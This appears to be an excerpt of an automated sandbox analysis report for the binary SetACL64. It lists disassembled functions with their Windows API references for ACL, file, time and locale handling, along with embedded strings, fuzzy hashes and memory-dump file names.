API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: b9231ba523ef921c185656f1683b76f63ef61d7596155f01418a651d74091a53
Instruction ID: 711763ee801cf1b19f78c56fec3d3ee3e489092a33708c84b4028919ee051178
Opcode Fuzzy Hash: b9231ba523ef921c185656f1683b76f63ef61d7596155f01418a651d74091a53
Instruction Fuzzy Hash: FAC1B232B18A4285EB10EF6AC4906AC7760FB49BA8F904335DE2E577D6CF78D461C710

Function 00007FF7C173F660 Relevance: 13.7, APIs: 9, Instructions: 247COMMON

Download Yara Rule

APIs

IsValidSid.ADVAPI32 ref: 00007FF7C173F6F8
IsValidSid.ADVAPI32 ref: 00007FF7C173F70B
EqualSid.ADVAPI32 ref: 00007FF7C173F71C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F9A6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173F9AC

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Valid_invalid_parameter_noinfo_noreturn$Equal
String ID:
API String ID: 2161274208-0
Opcode ID: a5c13f6e99239f99eb93357bfcbca789068a21bedda29611b1cdf87a38f81f85
Instruction ID: 0b78a94eb0db77e18f21a96b95c57bb20e99e8289aad4120fec31986e8159377
Opcode Fuzzy Hash: a5c13f6e99239f99eb93357bfcbca789068a21bedda29611b1cdf87a38f81f85
Instruction Fuzzy Hash: 2191BF62A09A4691EB24AF23D4443BEA361FB49BF4FD44131DA5D87B96DFBCE440C321

Function 00007FF7C1745B20 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 313COMMONLIBRARYCODE

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7C1745B7C

Part of subcall function 00007FF7C1747D80: _GetEstablisherFrame.LIBVCRUNTIME ref: 00007FF7C1747DB5
Part of subcall function 00007FF7C1747D80: __GetUnwindTryBlock.LIBCMT ref: 00007FF7C1747DC3
Part of subcall function 00007FF7C1747D80: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7C1747DE8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7C1745C54
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7C1745E9A
_GetEstablisherFrame.LIBVCRUNTIME ref: 00007FF7C1745EEC

Strings

csm, xrefs: 00007FF7C1745B96
csm, xrefs: 00007FF7C1745C77
csm, xrefs: 00007FF7C1745BFD

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Frame$BlockEstablisherHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchState
String ID: csm$csm$csm
API String ID: 40297248-393685449
Opcode ID: 01465d0ab2951ccdcd10f37ed96a7a8c97669fa495d3d06220a6bd79f10303bb
Instruction ID: 38a88cacf2e437cb97eb7c5960e4be81a1f41461440a9c1ef239fd2e95f22b74
Opcode Fuzzy Hash: 01465d0ab2951ccdcd10f37ed96a7a8c97669fa495d3d06220a6bd79f10303bb
Instruction Fuzzy Hash: 95D1C732A08B41C6EB20EF26D4402ADB7A0FB4D7A8F544135EE8D57B56CF78E491CB11

Function 00007FF7C171C7D0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 291timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7C171C826
FileTimeToSystemTime.KERNEL32 ref: 00007FF7C171C84A
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00007FF7C171C85B
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF7C171C86B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C171CB04

Strings

%04d-%02d-%02d %02d:%02d:%02d.%03d %s%02d%02d, xrefs: 00007FF7C171C8EC
-, xrefs: 00007FF7C171C8BD

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Time$File$System$Local$Specific_invalid_parameter_noinfo_noreturn
String ID: %04d-%02d-%02d %02d:%02d:%02d.%03d %s%02d%02d$-
API String ID: 1697026759-531884627
Opcode ID: c8f77f1d47166479bcfb340e38561e243565818e0dfa4d9be323b608fca60165
Instruction ID: 32ab58d3bedea35a6c60edec11a13b9676dfa9f90269982f0f0da930f2ce0018
Opcode Fuzzy Hash: c8f77f1d47166479bcfb340e38561e243565818e0dfa4d9be323b608fca60165
Instruction Fuzzy Hash: E4D16D32618B8186EB20EF56F4802AEB7A5FB89794F904136EA8D43B59DF7CD544CB10

Function 00007FF7C17406C0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C17408C0: IsValidSid.ADVAPI32(?,?,?,00007FF7C174034D,?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C17408E2
Part of subcall function 00007FF7C17408C0: GetLengthSid.ADVAPI32(?,?,?,00007FF7C174034D,?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C17408F3

IsValidSid.ADVAPI32(?,?,?,?,?,?,00007FF7C1740516,?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C1740789
IsValidSid.ADVAPI32(?,?,?,?,?,?,00007FF7C1740516,?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C174079C
EqualSid.ADVAPI32(?,?,?,?,?,?,00007FF7C1740516,?,?,?,?,?,00007FF7C173F8CF), ref: 00007FF7C17407AE

Strings

invalid hash bucket count, xrefs: 00007FF7C17408AD

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Valid$EqualLength
String ID: invalid hash bucket count
API String ID: 2688289545-1101463472
Opcode ID: 215e4837fbac5d1038da7360346adbacd6a27b358d3f20a4aea1ad4a7b7f4b8a
Instruction ID: 41bc424ddd25dc0ec5932791411f96eedf9376d2d9af3572d681ebd99f8cd759
Opcode Fuzzy Hash: 215e4837fbac5d1038da7360346adbacd6a27b358d3f20a4aea1ad4a7b7f4b8a
Instruction Fuzzy Hash: 9E515936709B81C2EB54EF12E54416DB3A8FB48BE0B458436CB9D43B95DF78E464C760

Function 00007FF7C171A980 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C171A996
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C171A9BB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C171A9E5

Part of subcall function 00007FF7C171A7F0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C171A859
Part of subcall function 00007FF7C171A7F0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7C171A8A4
Part of subcall function 00007FF7C171A7F0: _Getctype.LIBCPMT ref: 00007FF7C171A8BC
Part of subcall function 00007FF7C171A7F0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C171A94C

std::_Facet_Register.LIBCPMT ref: 00007FF7C171AA54
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C171AA6E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C171AA83

Strings

asio.system, xrefs: 00007FF7C171AA90

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: asio.system
API String ID: 2324539378-4188385678
Opcode ID: b713dadba4159cd6b2885aab081a9f7acc6a6da892865188596ee75eb23cfb0b
Instruction ID: 5c9eaacc8a50bd4cb95683ef50ad814e1524de5431e02ad7b07ff4e5a5ab341d
Opcode Fuzzy Hash: b713dadba4159cd6b2885aab081a9f7acc6a6da892865188596ee75eb23cfb0b
Instruction Fuzzy Hash: B7316F23A08A8281EF05BF17E5400B9E360EF8DBB0FA90131DA5D47797DEACE551C720

Function 00007FF7C170C870 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C170C886
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C170C8AB
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C170C8D5
std::_Facet_Register.LIBCPMT ref: 00007FF7C170C944
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C170C95E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7C170C973

Strings

\\?\UNC\, xrefs: 00007FF7C170C877

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID: \\?\UNC\
API String ID: 2081738530-3025105874
Opcode ID: e61a02660369b208d4869bf3317d8eeecda6ec06fbff3dc1bbd376d3e95adc6e
Instruction ID: fd92147e46f0e2c78b0d58c71bce671abd7e679408e56cb7509c13786c93a3c6
Opcode Fuzzy Hash: e61a02660369b208d4869bf3317d8eeecda6ec06fbff3dc1bbd376d3e95adc6e
Instruction Fuzzy Hash: D3318021A4CB4281EB15BF27E8401B9E360FF5DBB0F880171DA5D47A97DFACE9418720

Function 00007FF7C1739D50 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

GetAclInformation.ADVAPI32 ref: 00007FF7C1739DE8
GetLastError.KERNEL32 ref: 00007FF7C1739DF2
GetAce.ADVAPI32 ref: 00007FF7C1739E29
IsValidSid.ADVAPI32 ref: 00007FF7C1739E44
DeleteAce.ADVAPI32 ref: 00007FF7C1739EA3
GetLastError.KERNEL32 ref: 00007FF7C1739ED1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1739F98
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1739F9E

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ErrorLast_invalid_parameter_noinfo_noreturn$DeleteInformationValid
String ID:
API String ID: 2376240148-0
Opcode ID: c39aa1aca0cd00dc7d4238e9c45bf37263b6fe557bd30a66a51f3a55d98a4b0b
Instruction ID: 68ce0715cb57fd03db88d15e22ccf2b8c3bfbc118ed9def8336eb24b707d1333
Opcode Fuzzy Hash: c39aa1aca0cd00dc7d4238e9c45bf37263b6fe557bd30a66a51f3a55d98a4b0b
Instruction Fuzzy Hash: F6619D32B19A4289FB10EF66E4843ADA3A5FF4C7A8FC00531DA4D57B86DFB8D4418324

Function 00007FF7C173C766 Relevance: 10.7, APIs: 7, Instructions: 213fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173C895
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173C89B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173C8A1
CreateFileW.KERNEL32 ref: 00007FF7C173C913
GetLastError.KERNEL32 ref: 00007FF7C173C922
CreateFileW.KERNEL32 ref: 00007FF7C173CA06

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CreateFile$ErrorLast
String ID:
API String ID: 2384231905-0
Opcode ID: 0eb886a8d4768f19568f5e6099b32da699c40024d309cc6945aa3d39ec1d6415
Instruction ID: aa77afa73af46b485d18b2ca8fff9379b9130fffe91c8f87b2d042affea1c3ea
Opcode Fuzzy Hash: 0eb886a8d4768f19568f5e6099b32da699c40024d309cc6945aa3d39ec1d6415
Instruction Fuzzy Hash: 9481A272B4864281EB10EF26E4493ADA351AB89BF4FD04232DB5D076EADFBCD580C350

Function 00007FF7C173C6A3 Relevance: 10.7, APIs: 7, Instructions: 181fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173C89B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C173C8A1
CreateFileW.KERNEL32 ref: 00007FF7C173C913
GetLastError.KERNEL32 ref: 00007FF7C173C922
CreateFileW.KERNEL32 ref: 00007FF7C173CA06

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: CreateFile_invalid_parameter_noinfo_noreturn$ErrorLast
String ID:
API String ID: 4071529928-0
Opcode ID: 86a63f8ac1b34f836c6370ff0e3d0cf0e1df9ed1dc5296b969972eb07ba71060
Instruction ID: 715e39ad223afb780c2b93a6475ca8283305534fb7d8e5089927bd8f34000cbf
Opcode Fuzzy Hash: 86a63f8ac1b34f836c6370ff0e3d0cf0e1df9ed1dc5296b969972eb07ba71060
Instruction Fuzzy Hash: 0351B372B0864181EB00EF26E4593ADA351AB89BB8FD04232DB5D076EADFBCD951C750

Function 00007FF7C1713670 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7C17136D9
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7C1713724
_Getctype.LIBCPMT ref: 00007FF7C171373C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7C17137F4

Strings

boost::too_few_args: format-string referred to more arguments than were passed, xrefs: 00007FF7C1713830
bad locale name, xrefs: 00007FF7C1713817

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$boost::too_few_args: format-string referred to more arguments than were passed
API String ID: 2967684691-1915342359
Opcode ID: 6fce13af95b5f6627bf353f9880eae4aab78e0fa0b6ce40869ca327f0ee4b133
Instruction ID: 28002d6f8b65bc27fe562e1f3e54bdb9d729e7215710512fe6c6e78cc0bcddbe
Opcode Fuzzy Hash: 6fce13af95b5f6627bf353f9880eae4aab78e0fa0b6ce40869ca327f0ee4b133
Instruction Fuzzy Hash: 8A518C22F09B818AFB10EFB2D4402AC73B4AF98764F954135DE4D23A56DF78E466D710

Function 00007FF7C1737576 Relevance: 10.6, APIs: 7, Instructions: 119COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7C1738006

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: c51a83a8394eca94e03b9f44e2b4faae1dc388095b0f2f85e928d261f870c053
Instruction ID: d8251c1dc3eea9a84113b2908fbf80b772e9c63a513d269e0f4e18055837f31a
Opcode Fuzzy Hash: c51a83a8394eca94e03b9f44e2b4faae1dc388095b0f2f85e928d261f870c053
Instruction Fuzzy Hash: A0419662A1574685EF04AF6AD4993AC6225EF497B8FD04231EA6C066D7DFBCD090C214

Function 00007FF7C17482D8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7C174858A,?,?,?,00007FF7C1748284,?,?,?,?,00007FF7C1745001), ref: 00007FF7C174835D
GetLastError.KERNEL32(?,?,?,00007FF7C174858A,?,?,?,00007FF7C1748284,?,?,?,?,00007FF7C1745001), ref: 00007FF7C174836B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7C174858A,?,?,?,00007FF7C1748284,?,?,?,?,00007FF7C1745001), ref: 00007FF7C1748395
FreeLibrary.KERNEL32(?,?,?,00007FF7C174858A,?,?,?,00007FF7C1748284,?,?,?,?,00007FF7C1745001), ref: 00007FF7C17483DB
GetProcAddress.KERNEL32(?,?,?,00007FF7C174858A,?,?,?,00007FF7C1748284,?,?,?,?,00007FF7C1745001), ref: 00007FF7C17483E7

Strings

api-ms-, xrefs: 00007FF7C174837D

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 13dd072e1bb41a21cd92e4e58addc349d8cc729cde5a11a5225393acf1a03f06
Instruction ID: 16a6d03ef3dca6595d1eff51d8a6b737c411389eec5c1971c540635b27f21b3d
Opcode Fuzzy Hash: 13dd072e1bb41a21cd92e4e58addc349d8cc729cde5a11a5225393acf1a03f06
Instruction Fuzzy Hash: 6F31AE22B1A64685EB11EF57A84057EA394BB4CBB0F990535DE1D0B392DFBCE4548720

Function 00007FF7C1762DD4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7C1762E05
GetLastError.KERNEL32 ref: 00007FF7C1762E11
CloseHandle.KERNEL32 ref: 00007FF7C1762E29
CreateFileW.KERNEL32 ref: 00007FF7C1762E54
WriteConsoleW.KERNEL32 ref: 00007FF7C1762E73

Strings

CONOUT$, xrefs: 00007FF7C1762E35

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 600edac47a027b3d7eb0109fe524e7f64bf11a566be2c18d05efb9c518b43446
Instruction ID: fac61b3b774c16bcd078a4357594a27f2de467af0ebbac6fd08227602e4cce7b
Opcode Fuzzy Hash: 600edac47a027b3d7eb0109fe524e7f64bf11a566be2c18d05efb9c518b43446
Instruction Fuzzy Hash: 28117F31B18A4186E750AF13E854729B7A0BB8DBF4F840234EA5E87B95CFBCD5448760

Function 00007FF7C1741A24 Relevance: 9.2, APIs: 6, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7C1741A97
MultiByteToWideChar.KERNEL32 ref: 00007FF7C1741B3E
LCMapStringEx.KERNEL32 ref: 00007FF7C1741B79
LCMapStringEx.KERNEL32 ref: 00007FF7C1741BD2
LCMapStringEx.KERNEL32 ref: 00007FF7C1741C7F
WideCharToMultiByte.KERNEL32 ref: 00007FF7C1741CC1

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c1700000_SetACL64.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 7f76452235485e82c6a2b8be4f7a02939a3fff3751e97289b820c814a5331ee2
Instruction ID: ec508c3f025446e14f1cc459374d354b81f4ca260e788a71192512feabb5da90
Opcode Fuzzy Hash: 7f76452235485e82c6a2b8be4f7a02939a3fff3751e97289b820c814a5331ee2
Instruction Fuzzy Hash: A481A33270878286EB20AF12D440379A6E1FB49BB8F944234EA5D57BC6DFBCE4059B14

Function 00007FF7C1733B20 Relevance: 9.2, APIs: 6, Instructions: 168COMMON

Download Yara Rule

APIs

GetAclInformation.ADVAPI32(?,?,?,?,?,?,00000000,00000000,00000000,00001000,?,00007FF7C172F5AD), ref: 00007FF7C1733B8B
GetAclInformation.ADVAPI32(?,?,?,?,?,?,00000000,00000000,00000000,00001000,?,00007FF7C172F5AD), ref: 00007FF7C1733BAF

Memory Dump Source

Source File: 00000004.00000002.2140094996.00007FF7C1701000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF7C1700000, based on PE: true

Associated: 00000004.00000002.2140081597.00007FF7C1700000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140134461.00007FF7C176B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140154839.00007FF7C178E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1792000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2140171439.00007FF7C1797000.00000002.00000001.01000000.00000005.sdmpDownload File

